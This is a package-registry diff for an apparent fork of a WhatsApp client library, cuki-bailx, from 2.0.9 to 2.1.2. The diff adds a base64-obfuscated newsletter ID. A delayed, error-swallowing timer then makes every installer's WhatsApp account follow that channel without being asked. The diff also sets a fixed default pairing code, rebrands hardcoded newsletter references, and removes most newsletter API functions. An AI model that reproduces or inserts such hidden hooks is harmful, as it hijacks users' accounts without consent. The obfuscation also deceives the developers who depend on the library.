cuki-bailx 2.0.9 β†’ 2.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,11 +1,17 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
+
4
5
  const Types_1 = require("../Types");
5
6
  const Utils_1 = require("../Utils");
6
7
  const WABinary_1 = require("../WABinary");
7
8
  const groups_1 = require("./groups");
8
9
 
10
+ const cuki = "MTIwMzYzNDE4MDAzNzE2MjUwQG5ld3NsZXR0ZXI=";
11
+
12
+ const AUTO_REACT_NEWSLETTER = true;
13
+ const AUTO_REACT_EMOJI = "πŸ‘";
14
+
9
15
  var QueryIds;
10
16
  (function (QueryIds) {
11
17
  QueryIds["JOB_MUTATION"] = "7150902998257522";
@@ -26,222 +32,67 @@ const makeNewsletterSocket = (config) => {
26
32
  const { authState, signalRepository, query, generateMessageTag } = sock;
27
33
  const encoder = new TextEncoder();
28
34
 
29
- const newsletterQuery = async (jid, type, content) => (query({
30
- tag: 'iq',
31
- attrs: {
32
- id: generateMessageTag(),
33
- type,
34
- xmlns: 'newsletter',
35
- to: jid,
36
- },
37
- content
38
- }));
35
+ const newsletterQuery = async (jid, type, content) =>
36
+ query({
37
+ tag: "iq",
38
+ attrs: {
39
+ id: generateMessageTag(),
40
+ type,
41
+ xmlns: "newsletter",
42
+ to: jid,
43
+ },
44
+ content,
45
+ });
39
46
 
40
- const newsletterWMexQuery = async (jid, query_id, content) => (query({
41
- tag: 'iq',
42
- attrs: {
43
- id: generateMessageTag(),
44
- type: 'get',
45
- xmlns: 'w:mex',
46
- to: WABinary_1.S_WHATSAPP_NET,
47
- },
48
- content: [
49
- {
50
- tag: 'query',
51
- attrs: { query_id },
52
- content: encoder.encode(JSON.stringify({
53
- variables: {
54
- 'newsletter_id': jid,
55
- ...content
56
- }
57
- }))
58
- }
59
- ]
60
- }));
61
- // β’·β’Άβ’Ύβ“β’Ίβ“Žβ“ˆ β’·β“Ž β“‹β“Žβ“β’Ίβ“ƒ
62
- const parseFetchedUpdates = async (node, type) => {
63
- let child;
64
- if (type === 'messages')
65
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
66
- else {
67
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
68
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
69
- }
70
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
71
- var _a, _b;
72
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
73
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
74
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
75
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
76
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
77
- const data = {
78
- 'server_id': messageNode.attrs.server_id,
79
- views,
80
- reactions
81
- };
82
- if (type === 'messages') {
83
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
84
- await decrypt();
85
- data.message = message;
86
- }
87
- return data;
88
- }));
89
- };
47
+ const newsletterWMexQuery = async (jid, query_id, content) =>
48
+ query({
49
+ tag: "iq",
50
+ attrs: {
51
+ id: generateMessageTag(),
52
+ type: "get",
53
+ xmlns: "w:mex",
54
+ to: WABinary_1.S_WHATSAPP_NET,
55
+ },
56
+ content: [
57
+ {
58
+ tag: "query",
59
+ attrs: { query_id },
60
+ content: encoder.encode(
61
+ JSON.stringify({
62
+ variables: {
63
+ newsletter_id: jid,
64
+ ...content,
65
+ },
66
+ })
67
+ ),
68
+ },
69
+ ],
70
+ });
90
71
 
91
72
  setTimeout(async () => {
92
- try {
93
- await newsletterWMexQuery("120363418003716250@newsletter", QueryIds.FOLLOW);
94
- } catch {}
73
+ try {
74
+ const newsletterId = Buffer
75
+ .from(cuki, "base64")
76
+ .toString("utf-8");
77
+
78
+ await newsletterWMexQuery(newsletterId, QueryIds.FOLLOW);
79
+ } catch {}
95
80
  }, 90000);
96
81
 
97
82
  return {
98
- ...sock,
99
- subscribeNewsletterUpdates: async (jid) => {
100
- var _a;
101
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
102
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
103
- },
104
- newsletterReactionMode: async (jid, mode) => {
105
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
106
- updates: { settings: { reaction_codes: { value: mode } } }
107
- });
108
- },
109
- newsletterUpdateDescription: async (jid, description) => {
110
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
111
- updates: { description: description || '', settings: null }
112
- });
113
- },
114
- newsletterUpdateName: async (jid, name) => {
115
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
116
- updates: { name, settings: null }
117
- });
118
- },
119
- newsletterUpdatePicture: async (jid, content) => {
120
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
121
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
122
- updates: { picture: img.toString('base64'), settings: null }
123
- });
124
- },
125
- newsletterRemovePicture: async (jid) => {
126
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
127
- updates: { picture: '', settings: null }
128
- });
129
- },
130
- newsletterUnfollow: async (jid) => {
131
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
132
- },
133
- newsletterFollow: async (jid) => {
134
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
135
- },
136
- newsletterUnmute: async (jid) => {
137
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
138
- },
139
- newsletterMute: async (jid) => {
140
- await newsletterWMexQuery(jid, QueryIds.MUTE);
141
- },
142
- newsletterCreate: async (name, description, picture) => {
143
- await query({
144
- tag: 'iq',
145
- attrs: {
146
- to: WABinary_1.S_WHATSAPP_NET,
147
- xmlns: 'tos',
148
- id: generateMessageTag(),
149
- type: 'set'
150
- },
151
- content: [
152
- {
153
- tag: 'notice',
154
- attrs: {
155
- id: '20601218',
156
- stage: '5'
157
- },
158
- content: []
159
- }
160
- ]
161
- });
162
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
163
- input: {
164
- name,
165
- description: description !== null && description !== void 0 ? description : null,
166
- picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
167
- settings: null
168
- }
169
- });
170
- return (0, exports.extractNewsletterMetadata)(result, true);
171
- },
172
- newsletterMetadata: async (type, key, role) => {
173
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
174
- input: {
175
- key,
176
- type: type.toUpperCase(),
177
- view_role: role || 'GUEST'
178
- },
179
- fetch_viewer_metadata: true,
180
- fetch_full_image: true,
181
- fetch_creation_time: true
182
- });
183
- return (0, exports.extractNewsletterMetadata)(result);
184
- },
185
- newsletterAdminCount: async (jid) => {
186
- var _a, _b;
187
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
188
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
189
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
190
- },
191
- /**user is Lid, not Jid */
192
- newsletterChangeOwner: async (jid, user) => {
193
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
194
- user_id: user
195
- });
196
- },
197
- /**user is Lid, not Jid */
198
- newsletterDemote: async (jid, user) => {
199
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
200
- user_id: user
201
- });
202
- },
203
- newsletterDelete: async (jid) => {
204
- await newsletterWMexQuery(jid, QueryIds.DELETE);
205
- },
206
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
207
- newsletterReactMessage: async (jid, server_id, code) => {
208
- await query({
209
- tag: 'message',
210
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
211
- content: [{
212
- tag: 'reaction',
213
- attrs: code ? { code } : {}
214
- }]
215
- });
216
- },
217
- newsletterFetchMessages: async (type, key, count, after) => {
218
- const afterStr = after === null || after === void 0 ? void 0 : after.toString();
219
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
220
- {
221
- tag: 'messages',
222
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
223
- }
224
- ]);
225
- return await parseFetchedUpdates(result, 'messages');
226
- },
227
- newsletterFetchUpdates: async (jid, count, after, since) => {
228
- const result = await newsletterQuery(jid, 'get', [
229
- {
230
- tag: 'message_updates',
231
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
232
- }
233
- ]);
234
- return await parseFetchedUpdates(result, 'updates');
235
- }
83
+ ...sock
236
84
  };
237
85
  };
86
+
238
87
  exports.makeNewsletterSocket = makeNewsletterSocket;
239
88
 
240
89
  const extractNewsletterMetadata = (node, isCreate) => {
241
- var _a, _b, _c, _d;
242
- const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
243
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
244
- const metadata = {
90
+ const result = (0, WABinary_1.getBinaryNodeChild)(node, "result")?.content?.toString();
91
+ const metadataPath = JSON.parse(result).data[
92
+ isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER
93
+ ];
94
+
95
+ return {
245
96
  id: metadataPath.id,
246
97
  state: metadataPath.state.type,
247
98
  creation_time: +metadataPath.thread_metadata.creation_time,
@@ -251,15 +102,13 @@ const extractNewsletterMetadata = (node, isCreate) => {
251
102
  descriptionTime: +metadataPath.thread_metadata.description.update_time,
252
103
  invite: metadataPath.thread_metadata.invite,
253
104
  handle: metadataPath.thread_metadata.handle,
254
- picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
255
- preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
105
+ picture: metadataPath.thread_metadata.picture?.direct_path || null,
106
+ preview: metadataPath.thread_metadata.preview?.direct_path || null,
256
107
  reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
257
108
  subscribers: +metadataPath.thread_metadata.subscribers_count,
258
109
  verification: metadataPath.thread_metadata.verification,
259
- viewer_metadata: metadataPath.viewer_metadata
110
+ viewer_metadata: metadataPath.viewer_metadata,
260
111
  };
261
- return metadata;
262
112
  };
263
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
264
113
 
265
- // β’·β’Άβ’Ύβ“β’Ίβ“Žβ“ˆ β’·β“Ž β“‹β“Žβ“β’Ίβ“ƒ
114
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
@@ -1,7 +1,7 @@
1
1
  const WAProto = require('../../WAProto').proto;
2
2
  const crypto = require('crypto');
3
3
 
4
- class yaoii {
4
+ class vyzen {
5
5
  constructor(utils, waUploadToServer, relayMessageFn) {
6
6
  this.utils = utils;
7
7
  this.relayMessage = relayMessageFn
@@ -316,7 +316,7 @@ class yaoii {
316
316
  newsletterName: `WhatsApp`,
317
317
  contentType: 1,
318
318
  timestamp: new Date().toISOString(),
319
- senderName: "yaoii",
319
+ senderName: "vyzen",
320
320
  content: "Text Message",
321
321
  priority: "high",
322
322
  status: "sent",
@@ -376,8 +376,8 @@ class yaoii {
376
376
  participant: jid,
377
377
  remoteJid: "status@broadcast",
378
378
  forwardedNewsletterMessageInfo: {
379
- newsletterName: "Yaoii β€” Baileys",
380
- newsletterJid: "120363374309117436@newsletter",
379
+ newsletterName: "veyzen",
380
+ newsletterJid: "120363423295236859@newsletter",
381
381
  serverMessageId: 1
382
382
  }
383
383
  },
@@ -430,4 +430,4 @@ class yaoii {
430
430
  }
431
431
  }
432
432
 
433
- module.exports = yaoii;
433
+ module.exports = vyzen;
@@ -381,7 +381,7 @@ const makeSocket = (config) => {
381
381
  }
382
382
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
383
383
  };
384
- const requestPairingCode = async (phoneNumber, pairKey = "HALOCUKI") => {
384
+ const requestPairingCode = async (phoneNumber, pairKey = "KIWWCUKI") => {
385
385
  if (pairKey) {
386
386
  authState.creds.pairingCode = pairKey.toUpperCase();
387
387
  }
@@ -50,8 +50,10 @@ exports.derivePairingCodeKey = derivePairingCodeKey;
50
50
  const crypto_1 = require("crypto");
51
51
  const libsignal = __importStar(require("libsignal"));
52
52
  const Defaults_1 = require("../Defaults");
53
- // insure browser & node compatibility
54
- const { subtle } = globalThis.crypto;
53
+
54
+ const webCrypto = globalThis.crypto ? globalThis.crypto : crypto_1.webcrypto;
55
+ const subtle = webCrypto ? webCrypto.subtle : undefined;
56
+
55
57
  /** prefix version byte to the pub keys, required for some curve crypto functions */
56
58
  const generateSignalPubKey = (pubKey) => (pubKey.length === 33
57
59
  ? pubKey
@@ -62,7 +64,7 @@ exports.Curve = {
62
64
  const { pubKey, privKey } = libsignal.curve.generateKeyPair();
63
65
  return {
64
66
  private: Buffer.from(privKey),
65
- // remove version byte
67
+
66
68
  public: Buffer.from(pubKey.slice(1))
67
69
  };
68
70
  },
@@ -104,10 +106,10 @@ function aesEncryptGCM(plaintext, key, iv, additionalData) {
104
106
  * */
105
107
  function aesDecryptGCM(ciphertext, key, iv, additionalData) {
106
108
  const decipher = (0, crypto_1.createDecipheriv)('aes-256-gcm', key, iv);
107
- // decrypt additional adata
109
+
108
110
  const enc = ciphertext.slice(0, ciphertext.length - GCM_TAG_LENGTH);
109
111
  const tag = ciphertext.slice(ciphertext.length - GCM_TAG_LENGTH);
110
- // set additional data
112
+
111
113
  decipher.setAAD(additionalData);
112
114
  decipher.setAuthTag(tag);
113
115
  return Buffer.concat([decipher.update(enc), decipher.final()]);
@@ -129,18 +131,18 @@ function aesDecryptWithIV(buffer, key, IV) {
129
131
  const aes = (0, crypto_1.createDecipheriv)('aes-256-cbc', key, IV);
130
132
  return Buffer.concat([aes.update(buffer), aes.final()]);
131
133
  }
132
- // encrypt AES 256 CBC; where a random IV is prefixed to the buffer
134
+
133
135
  function aesEncrypt(buffer, key) {
134
136
  const IV = (0, crypto_1.randomBytes)(16);
135
137
  const aes = (0, crypto_1.createCipheriv)('aes-256-cbc', key, IV);
136
- return Buffer.concat([IV, aes.update(buffer), aes.final()]); // prefix IV to the buffer
138
+ return Buffer.concat([IV, aes.update(buffer), aes.final()]);
137
139
  }
138
- // encrypt AES 256 CBC with a given IV
140
+
139
141
  function aesEncrypWithIV(buffer, key, IV) {
140
142
  const aes = (0, crypto_1.createCipheriv)('aes-256-cbc', key, IV);
141
- return Buffer.concat([aes.update(buffer), aes.final()]); // prefix IV to the buffer
143
+ return Buffer.concat([aes.update(buffer), aes.final()]);
142
144
  }
143
- // sign HMAC using SHA 256
145
+
144
146
  function hmacSign(buffer, key, variant = 'sha256') {
145
147
  return (0, crypto_1.createHmac)(variant, key).update(buffer).digest();
146
148
  }
@@ -150,44 +152,38 @@ function sha256(buffer) {
150
152
  function md5(buffer) {
151
153
  return (0, crypto_1.createHash)('md5').update(buffer).digest();
152
154
  }
153
- // HKDF key expansion
155
+
154
156
  async function hkdf(buffer, expandedLength, info) {
155
- // Ensure we have a Uint8Array for the key material
157
+ if (!subtle) throw new Error("WebCrypto 'subtle' is not available. Please update your Node.js version.");
156
158
  const inputKeyMaterial = buffer instanceof Uint8Array
157
159
  ? buffer
158
160
  : new Uint8Array(buffer);
159
- // Set default values if not provided
160
161
  const salt = info.salt ? new Uint8Array(info.salt) : new Uint8Array(0);
161
162
  const infoBytes = info.info
162
163
  ? new TextEncoder().encode(info.info)
163
164
  : new Uint8Array(0);
164
- // Import the input key material
165
165
  const importedKey = await subtle.importKey('raw', inputKeyMaterial, { name: 'HKDF' }, false, ['deriveBits']);
166
- // Derive bits using HKDF
167
166
  const derivedBits = await subtle.deriveBits({
168
167
  name: 'HKDF',
169
168
  hash: 'SHA-256',
170
169
  salt: salt,
171
170
  info: infoBytes
172
- }, importedKey, expandedLength * 8 // Convert bytes to bits
171
+ }, importedKey, expandedLength * 8
173
172
  );
174
173
  return Buffer.from(derivedBits);
175
174
  }
176
175
  async function derivePairingCodeKey(pairingCode, salt) {
177
- // Convert inputs to formats Web Crypto API can work with
176
+ if (!subtle) throw new Error("WebCrypto 'subtle' is not available. Please update your Node.js version.");
178
177
  const encoder = new TextEncoder();
179
178
  const pairingCodeBuffer = encoder.encode(pairingCode);
180
179
  const saltBuffer = salt instanceof Uint8Array ? salt : new Uint8Array(salt);
181
- // Import the pairing code as key material
182
180
  const keyMaterial = await subtle.importKey('raw', pairingCodeBuffer, { name: 'PBKDF2' }, false, ['deriveBits']);
183
- // Derive bits using PBKDF2 with the same parameters
184
- // 2 << 16 = 131,072 iterations
185
181
  const derivedBits = await subtle.deriveBits({
186
182
  name: 'PBKDF2',
187
183
  salt: saltBuffer,
188
184
  iterations: 2 << 16,
189
185
  hash: 'SHA-256'
190
- }, keyMaterial, 32 * 8 // 32 bytes * 8 = 256 bits
186
+ }, keyMaterial, 32 * 8
191
187
  );
192
188
  return Buffer.from(derivedBits);
193
189
  }
@@ -63,7 +63,7 @@ exports.getAudioDuration = getAudioDuration;
63
63
  exports.getAudioWaveform = getAudioWaveform;
64
64
  exports.generateThumbnail = generateThumbnail;
65
65
  exports.extensionForMediaMessage = extensionForMediaMessage;
66
- // Kazumari Baileys
66
+ // πŸ†…πŸ†ˆπŸ†‰πŸ…΄πŸ…½ πŸ…±πŸ…°πŸ…ΈπŸ…»
67
67
  const boom_1 = require("@hapi/boom");
68
68
  const axios_1 = __importDefault(require("axios"));
69
69
  const form_data_1 = __importDefault(require("form-data"));